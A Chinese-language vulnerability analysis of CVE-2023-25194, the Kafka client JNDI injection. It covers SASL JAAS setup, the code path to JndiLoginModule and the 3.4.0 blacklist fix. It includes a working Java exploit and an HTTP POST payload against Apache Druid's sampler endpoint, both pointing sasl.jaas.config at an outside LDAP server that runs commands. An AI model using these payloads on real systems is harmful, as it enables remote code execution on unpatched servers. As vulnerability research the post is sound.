CVE-2023-25194 Kafka JNDI 注入分析
Apache Kafka Clients Jndi Injection
漏洞描述
Apache Kafka 是一个分布式数据流处理平台,可以实时发布、订阅、存储和处理数据流。Kafka Connect 是一种用于在 kafka 和其他系统之间可扩展、可靠的流式传输数据的工具。攻击者可以利用基于 SASL JAAS 配置和 SASL 协议的任意 Kafka 客户端,对 Kafka Connect worker 创建或修改连接器时,通过构造特殊的配置,进行 JNDI 注入来实现远程代码执行。
影响范围
2.4.0 <= Apache Kafka <= 3.3.2
前置知识
Kafka 是什么
Kafka 是一个开源的分布式消息系统,Kafka 可以处理大量的消息和数据流,具有高吞吐量、低延迟、可扩展性等特点。它被广泛应用于大数据领域,如日志收集、数据传输、流处理等场景。
感觉上和 RocketMQ 很类似,主要功能都是用来进行数据传输的。
Kafka 客户端 SASL JAAS 配置
简单认证与安全层 (SASL, Simple Authentication and Security Layer ) 是一个在网络协议中用来认证和数据加密的构架,在 Kafka 的实际应用当中表现为 JAAS。
Java 认证和授权服务(Java Authentication and Authorization Service,简称 JAAS)是一个 Java 以用户为中心的安全框架,作为 Java 以代码为中心的安全的补充。总结一下就是用于认证。有趣的是 Shiro (JSecurity) 最初被开发出来的原因就是由于当时 JAAS 存在着许多缺点
参考自 https://blog.csdn.net/yinxuep/article/details/103242969 还有一些细微的配置这里不再展开。动态设置和静态修改 .conf 文件实际上效果是一致的。
服务端配置
1、通常在服务器节点下配置服务器 JASS 文件,例如这里我们将其命名为 kafka_server_jaas.conf,内容如下
KafkaServer {org.apache.kafka.common.security.plain.PlainLoginModule requiredusername="eystar"password="eystar8888"user_eystar="eystar8888"user_yxp="yxp-secret";
}; 说明:
username +password 表示 kafka 集群环境各个代理之间进行通信时使用的身份验证信息。
user_eystar="eystar8888" 表示定义客户端连接到代理的用户信息,即创建一个用户名为 eystar,密码为 eystar8888 的用户身份信息,kafka 代理对其进行身份验证,可以创建多个用户,格式 user_XXX=”XXX”
2、如果处于静态使用中,需要将其加入到 JVM 启动参数中,如下
if [ "x$KAFKA_OPTS" ]; thenexport KAFKA_OPTS="-Djava.security.auth.login.config=/opt/modules/kafka_2.11-2.0.0/config/kafka_server_jaas.conf"fi https://kafka.apache.org/documentation/#brokerconfigs_sasl.jaas.config
客户端配置
基本同服务端一致,如下步骤
1、配置客户端 JAAS 文件,命名为 kafka_client_jaas.conf
KafkaClient {org.apache.kafka.common.security.plain.PlainLoginModule requiredusername="eystar"password="eystar8888";
}; 2、JAVA 调用的 Kafka Client 客户端连接时指定配置属性 sasl.jaas.config
sasl.jaas.config=org.apache.kafka.common.security.plain.PlainLoginModule required \username="eystar" \
password="eystar8888";
// 即配置属性:(后续会讲到也能够动态配置,让我想起了 RocketMQ)
Pro.set(“sasl.jaas.config”,”org.apache.kafka.common.security.plain.PlainLoginModule required username=\"eystar\" password=\"eystar8888\";";
”); Kafka 客户端动态修改 JAAS 配置
方式一:配置 Properties 属性,可以注意到这一个字段的键名为 sasl.jaas.config,它的格式如下
loginModuleClass controlFlag (optionName=optionValue)*; 其中的 loginModuleClass 代表认证方式, 例如 LDAP, Kerberos, Unix 认证,可以参考官方文档 https://docs.oracle.com/javase/8/docs/technotes/guides/security/jgss/tutorials/LoginConfigFile.html 其中有一处为 JndiLoginModule,JDK 自带的 loginModule 位于 com.sun.security.auth.module
//安全模式 用户名 密码
props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");
props.setProperty("security.protocol", "SASL_PLAINTEXT");
props.setProperty("sasl.mechanism", "PLAIN"); 方式二:设置系统属性参数
// 指定kafka_client_jaas.conf文件路径
String confPath = TestKafkaComsumer.class.getResource("/").getPath()+ "/kafka_client_jaas.conf";
System.setProperty("java.security.auth.login.config", confPath); 实现代码
消费者
public class TestComsumer {public static void main(String[] args) {Properties props = new Properties();props.put("bootstrap.servers", "192.168.1.176:9092");props.put("group.id", "test_group");props.put("enable.auto.commit", "true");props.put("auto.commit.interval.ms", "1000");props.put("key.deserializer","org.apache.kafka.common.serialization.StringDeserializer");props.put("value.deserializer","org.apache.kafka.common.serialization.StringDeserializer");// sasl.jaas.config的配置props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");props.setProperty("security.protocol", "SASL_PLAINTEXT");props.setProperty("sasl.mechanism", "PLAIN");KafkaConsumer<String, String> consumer = new KafkaConsumer<>(props);consumer.subscribe(Arrays.asList("topic_name"));while (true) {try {ConsumerRecords<String, String> records = consumer.poll(Duration.ofMillis(100));for (ConsumerRecord<String, String> record : records)System.out.printf("offset = %d, partition = %d, key = %s, value = %s%n",record.offset(), record.partition(), record.key(), record.value());} catch (Exception e) {e.printStackTrace();}}}} 生产者
public class TestProduce {public static void main(String args[]) {Properties props = new Properties();props.put("bootstrap.servers", "192.168.1.176:9092");props.put("acks", "1");props.put("retries", 3);props.put("batch.size", 16384);props.put("buffer.memory", 33554432);props.put("linger.ms", 10);props.put("key.serializer","org.apache.kafka.common.serialization.StringSerializer");props.put("value.serializer","org.apache.kafka.common.serialization.StringSerializer");//saslprops.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");props.setProperty("security.protocol", "SASL_PLAINTEXT");props.setProperty("sasl.mechanism", "PLAIN");Producer<String, String> producer = new KafkaProducer<>(props);/*** ProducerRecord 参数解析 第一个:topic_name为生产者 topic名称,* 第二个:对于生产者kafka2.0需要你指定一个key* ,在企业应用中,我们一般会把他当做businessId来用,比如订单ID,用户ID等等。 第三个:消息的主要信息*/try {producer.send(new ProducerRecord<String, String>("topic_name", Integer.toString(i), "message info"));} catch (InterruptedException e) {e.printStackTrace();}}} 漏洞复现
漏洞触发点其实是在 com.sun.security.auth.module.JndiLoginModule#attemptAuthentication 方法处
理顺逻辑很容易构造出 EXP
import org.apache.kafka.clients.consumer.KafkaConsumer;
import org.apache.kafka.clients.producer.KafkaProducer;import java.util.Properties;public class EXP {public static void main(String[] args) throws Exception {Properties properties = new Properties();properties.put("bootstrap.servers", "127.0.0.1:1234");properties.put("key.deserializer", "org.apache.kafka.common.serialization.StringDeserializer");properties.put("value.deserializer","org.apache.kafka.common.serialization.StringDeserializer");properties.put("sasl.mechanism", "PLAIN");properties.put("security.protocol", "SASL_SSL");properties.put("sasl.jaas.config", "com.sun.security.auth.module.JndiLoginModule " +"required " +"user.provider.url=\"ldap://124.222.21.138:1389/Basic/Command/Base64/Q2FsYw==\" " +"useFirstPass=\"true\" " +"group.provider.url=\"xxx\";");KafkaConsumer<String, String> kafkaConsumer = new KafkaConsumer<>(properties);kafkaConsumer.close();}
}
漏洞分析
前面有非常多的数据处理与赋值,这里就跳过了,直接看 org.apache.kafka.clients.consumer.KafkaConsumer 类的第 177 行 ClientUtils.createChannelBuilder(),跟进。
继续跟进,这里会先判断 SASL 模式是否开启,只有开启了才会往下跟进到 create() 方法
跟进 create() 方法,做完客户端的判断和安全协议的判断之后,调用了 loadClientContext() 方法,跟进,发现其中还是加载了一些配置。
跳出来,跟进 ((ChannelBuilder)channelBuilder).configure(configs) 方法,最后跟到 org.apache.kafka.common.security.authenticator.LoginManager 的构造函数。
跟进 login() 方法,此处 new LoginContext(),随后调用 login() 方法,跟进
这里会调用 JndiLoginModule 的 initialize() 方法
初始化完成之后,此处调用 JndiLoginModule 的 login() 方法,最后到 JndiLoginModule 的 attemptAuthentication() 方法,完成 Jndi 注入。
漏洞修复
在 3.4.0 版本中, 官方的修复方式是增加了对 JndiLoginModule 的黑名单
org.apache.kafka.common.security.JaasContext#throwIfLoginModuleIsNotAllowed
private static void throwIfLoginModuleIsNotAllowed(AppConfigurationEntry appConfigurationEntry) {Set<String> disallowedLoginModuleList = (Set)Arrays.stream(System.getProperty("org.apache.kafka.disallowed.login.modules", "com.sun.security.auth.module.JndiLoginModule").split(",")).map(String::trim).collect(Collectors.toSet());String loginModuleName = appConfigurationEntry.getLoginModuleName().trim();if (disallowedLoginModuleList.contains(loginModuleName)) {throw new IllegalArgumentException(loginModuleName + " is not allowed. Update System property '" + "org.apache.kafka.disallowed.login.modules" + "' to allow " + loginModuleName);}
} Apache Druid RCE via Kafka Clients
影响版本:Apache Druid <= 25.0.0
Apache Druid 是一个实时分析型数据库, 它支持从 Kafka 中导入数据 (Consumer) , 因为目前最新版本的 Apache Druid 25.0.0 所用 kafka-clients 依赖的版本仍然是 3.3.1, 即存在漏洞的版本, 所以如果目标 Druid 存在未授权访问 (默认配置无身份认证), 则可以通过这种方式实现 RCE
有意思的是, Druid 包含了 commons-beanutils:1.9.4 依赖, 所以即使在高版本 JDK 的情况下也能通过 LDAP JNDI 打反序列化 payload 实现 RCE
• 漏洞 UI 处触发点:Druid Web Console - Load data - Apache Kafka
在这里可以加载 Kafka 的 Data,其中可以修改配置项 sasl.jaas.config,由此构造 Payload
POST http://124.222.21.138:8888/druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 124.222.21.138:8888
Content-Length: 916
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.43
Content-Type: application/json
Origin: http://124.222.21.138:8888
Referer: http://124.222.21.138:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,ja;q=0.5,zh-TW;q=0.4,no;q=0.3,ko;q=0.2
Connection: close{"type":"kafka","spec":{"type":"kafka","ioConfig":{"type":"kafka","consumerProperties":{"bootstrap.servers":"127.0.0.1:1234",
"sasl.mechanism":"SCRAM-SHA-256","security.protocol":"SASL_SSL","sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://124.222.21.138:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},"topic":"123","useEarliestOffset":true,"inputFormat":{"type":"regex","pattern":"([\\s\\S]*)","listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{},"granularitySpec":{"rollup":false}},"tuningConfig":{"type":"kafka"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}
在 druid-kafka-indexing-service 这个 extension 中可以看到实例化 KafkaConsumer 的过程
而上面第 286 行的 addConsumerPropertiesFromConfig() 正是进行了动态修改配置
Apache Druid 26.0.0 更新了 kafka 依赖的版本
https://github.com/apache/druid/blob/26.0.0/pom.xml#L79
原创稿件征集
征集原创技术文章中,欢迎投递
投稿邮箱:edu@antvsion.com
文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关
通过审核并发布能收获200-800元不等的稿酬。
更多详情,点我查看!

参与11.11狂欢,戳“阅读原文”
相关文章:
CVE-2023-25194 Kafka JNDI 注入分析
Apache Kafka Clients Jndi Injection 漏洞描述 Apache Kafka 是一个分布式数据流处理平台,可以实时发布、订阅、存储和处理数据流。Kafka Connect 是一种用于在 kafka 和其他系统之间可扩展、可靠的流式传输数据的工具。攻击者可以利用基于 SASL JAAS 配置和 SASL …...
MySQL--主从复制和读写分离
MySQL主从复制和读写分离相关知识 1.什么是读写分离 读写分离,基本的原理是让主数据库处理事务性增、改、删操作( INSERT、UPDATE、DELETE) ,而从数据库处理SELECT查询操作。数据库复制被用来把事务性操作导致的变更同步到集群中的从数据库。 2.为什么要…...
JavaScript使用webcomponent的简单示例
官方网站: Web Component - Web API 接口参考 | MDN 1. 给一个html文件的路径字符串path, 存储对应path下的template,script,style数据 1) 传入path 2) 使用fetch将path字符串所在的文件找到并返回内容 const res await fetch(path).then(res > res.text()); 3) 使用…...
LeetCode(10)跳跃游戏 II【数组/字符串】【中等】
目录 1.题目2.答案3.提交结果截图 链接: 45. 跳跃游戏 II 1.题目 给定一个长度为 n 的 0 索引整数数组 nums。初始位置为 nums[0]。 每个元素 nums[i] 表示从索引 i 向前跳转的最大长度。换句话说,如果你在 nums[i] 处,你可以跳转到任意 nu…...
浅谈数据结构之递归
1. 递归的定义 递归是一种在解决问题时使用自身的特殊方法。在计算机科学和数据结构中,递归是一种通过将问题分解成更小的、相似的子问题来解决复杂问题的方法。递归可以直接或间接地调用自身,将大问题转化为规模较小的子问题,直到达到基本情…...
在CentOS7环境下安装Mysql
1.卸载已有的不需要的环境 使用如下命令,查看系统中是否已经存在mysql和mariadb(mysql的一个子分支) ps ajx | grep mariadb ps ajx | grep mysql 如果显示与我相同,则代表系统中已经存在这些环境并且已经停止 如果不相同则需要…...
苍穹外卖-day10
苍穹外卖-day10 课程内容 Spring Task订单状态定时处理WebSocket来单提醒客户催单 功能实现:订单状态定时处理、来单提醒和客户催单 订单状态定时处理: 来单提醒: 客户催单: 1. Spring Task 1.1 介绍 Spring Task 是Spring框…...
牛客网刷题笔记131111 Python实现LRU+二叉树先中后序打印+SQL并列排序
从学校步入职场一年多,已经很久没刷过题了,为后续稍微做些提前的准备,还是重新开始刷刷题。 从未做过计划表,这回倒是做了个计划表,希望能坚持吧。 刷题比较随性且量级不大,今天就写了2个算法2个sql&#x…...
TCP网络编程
一)TCP Socket介绍: 1)TCP和UDP有着很大的不同,TCP想要进行网络通信的话首先需要通信双方建立连接以后然后才可以进行通信,TCP进行网络编程的方式和文件中的读写字节流类似,是以字节为单位的流进行传输 2)针对于TCP的套接字来说,J…...
K8S知识点(九)
(1)Pod详解-结构和定义 一级属性有下面这些:前两个属性是字符串,上面有定义 kind:Pod version:v1 下面的属性是object 还可以继续查看子属性:二级属性 还可以继续查看三级属性: 通…...
el-table实现单选和隐藏全选框和回显数据
0 效果 1 单选 <el-table ref"clientTableRef" selection-change"clientChangeHandle"><el-table-column fixed type"selection" width"50" align"center" /><el-table-column label"客户名称" a…...
香港科技大学广州|智能制造学域机器人与自主系统学域博士招生宣讲会—中国科学技术大学专场
🏠地点:中国科学技术大学西区学生活动中心(一楼)报告厅 【宣讲会专场1】让制造更高效、更智能、更可持续—智能制造学域 🕙时间:2023年11月16日(星期四)18:00 报名链接:…...
[P7885][Android13] 解决5G信号良好状态栏信号只有两格的问题
文章目录 开发平台基本信息问题描述解决方法 开发平台基本信息 芯片: 展锐P7885 版本: Android 13 kernel: kernel-5.15 问题描述 最近有一款预研设备使用的是展锐 P7885 的5G 智能模组;经过天线厂调试天线后,各项指标都达到了标准,正常待…...
老版本goland无法调试新版本go问题处理
背景 无法调试1.20版本b 报错如下: No goroutine selected 懒人不想升级goland版本。 处理方法 1.安装最新的dlv工具 go install github.com/go-delve/delve/cmd/dlvlatest 2.找到刚刚安装的dlv工具,并复制 # 位于$GOPATH的bin目录下,如…...
Redis应用之二分布式锁2
一、前言 前一篇 Redis应用之二分布式锁 我们介绍了使用SETNX来实现分布式锁,并且还遗留了一个Bug,今天我们对代码进行优化,然后介绍一下Redisson以及数据库的乐观锁悲观锁怎么用。 二、SetNX分布式锁优化后代码 RedisService.java Inven…...
打印字符(C++)
系列文章目录 进阶的卡莎C++_睡觉觉觉得的博客-CSDN博客数1的个数_睡觉觉觉得的博客-CSDN博客双精度浮点数的输入输出_睡觉觉觉得的博客-CSDN博客足球联赛积分_睡觉觉觉得的博客-CSDN博客大减价(一级)_睡觉觉觉得的博客-CSDN博客小写字母的判断_睡觉觉觉得的博客-CSDN博客纸币(…...
React函数组件的使用(Hooks)
目录 Hooks概念理解 1. 什么是hooks 2. Hooks解决了什么问题 useState 1. 基础使用 2. 状态的读取和修改 3. 组件的更新过程 4. 使用规则 useEffect 1. 理解函数副作用 2. 基础使用 3. 依赖项控制执行时机 4. 清理副作用 Hooks概念理解 本节任务: 能够理解hooks的…...
一篇博客读懂队列——Queue
目录 一、队列的概念和结构 二、队列的实现 2.1队列的初始化QueueInit 2.2队列的摧毁QueueDestroy 2.3插入结点QueuePush 2.4删除结点QueuePop 2.5返回队头QueueFront 2.6返回队尾QueueBack 2.7判断队列为空QueueEmpty 2.8统计队列数目QueueSize 一、队列的概念和…...
Effective C++ 系列和 C++ Core Guidelines 如何选择?
Effective C 系列和 C Core Guidelines 如何选择? 如果一定要二选一,我会选择C Core Guidelines。因为它是开源的,有300多个贡献者,而且还在不断更新,意味着它归纳总结了最新的C实践经验。最近很多小伙伴找我ÿ…...
Sandbox: bash(5613) deny(1) file-write-create 错误解决
Showing Recent Errors Only Sandbox: bash(5613) deny(1) file-write-create /Users/xx/Dev/UniappLearn/MSLUniappDemo/Pods/resources-to-copy-MSLUniappDemo.txt image.png 解决方法 build setting搜索ENABLE_USER_SCRIPT_SANDBOXING,YES(默认&…...
stm32G473的flash模式是单bank还是双bank?
今天突然有人stm32G473的flash模式是单bank还是双bank?由于时间太久,我真忘记了。搜搜发现,还真有人和我一样。见下面的链接:https://shequ.stmicroelectronics.cn/forum.php?modviewthread&tid644563 根据STM32G4系列参考手…...
《Qt C++ 与 OpenCV:解锁视频播放程序设计的奥秘》
引言:探索视频播放程序设计之旅 在当今数字化时代,多媒体应用已渗透到我们生活的方方面面,从日常的视频娱乐到专业的视频监控、视频会议系统,视频播放程序作为多媒体应用的核心组成部分,扮演着至关重要的角色。无论是在个人电脑、移动设备还是智能电视等平台上,用户都期望…...
练习(含atoi的模拟实现,自定义类型等练习)
一、结构体大小的计算及位段 (结构体大小计算及位段 详解请看:自定义类型:结构体进阶-CSDN博客) 1.在32位系统环境,编译选项为4字节对齐,那么sizeof(A)和sizeof(B)是多少? #pragma pack(4)st…...
Debian系统简介
目录 Debian系统介绍 Debian版本介绍 Debian软件源介绍 软件包管理工具dpkg dpkg核心指令详解 安装软件包 卸载软件包 查询软件包状态 验证软件包完整性 手动处理依赖关系 dpkg vs apt Debian系统介绍 Debian 和 Ubuntu 都是基于 Debian内核 的 Linux 发行版ÿ…...
数据链路层的主要功能是什么
数据链路层(OSI模型第2层)的核心功能是在相邻网络节点(如交换机、主机)间提供可靠的数据帧传输服务,主要职责包括: 🔑 核心功能详解: 帧封装与解封装 封装: 将网络层下发…...
Fabric V2.5 通用溯源系统——增加图片上传与下载功能
fabric-trace项目在发布一年后,部署量已突破1000次,为支持更多场景,现新增支持图片信息上链,本文对图片上传、下载功能代码进行梳理,包含智能合约、后端、前端部分。 一、智能合约修改 为了增加图片信息上链溯源,需要对底层数据结构进行修改,在此对智能合约中的农产品数…...
iOS性能调优实战:借助克魔(KeyMob)与常用工具深度洞察App瓶颈
在日常iOS开发过程中,性能问题往往是最令人头疼的一类Bug。尤其是在App上线前的压测阶段或是处理用户反馈的高发期,开发者往往需要面对卡顿、崩溃、能耗异常、日志混乱等一系列问题。这些问题表面上看似偶发,但背后往往隐藏着系统资源调度不当…...
MySQL JOIN 表过多的优化思路
当 MySQL 查询涉及大量表 JOIN 时,性能会显著下降。以下是优化思路和简易实现方法: 一、核心优化思路 减少 JOIN 数量 数据冗余:添加必要的冗余字段(如订单表直接存储用户名)合并表:将频繁关联的小表合并成…...
第八部分:阶段项目 6:构建 React 前端应用
现在,是时候将你学到的 React 基础知识付诸实践,构建一个简单的前端应用来模拟与后端 API 的交互了。在这个阶段,你可以先使用模拟数据,或者如果你的后端 API(阶段项目 5)已经搭建好,可以直接连…...
深入浅出WebGL:在浏览器中解锁3D世界的魔法钥匙
WebGL:在浏览器中解锁3D世界的魔法钥匙 引言:网页的边界正在消失 在数字化浪潮的推动下,网页早已不再是静态信息的展示窗口。如今,我们可以在浏览器中体验逼真的3D游戏、交互式数据可视化、虚拟实验室,甚至沉浸式的V…...
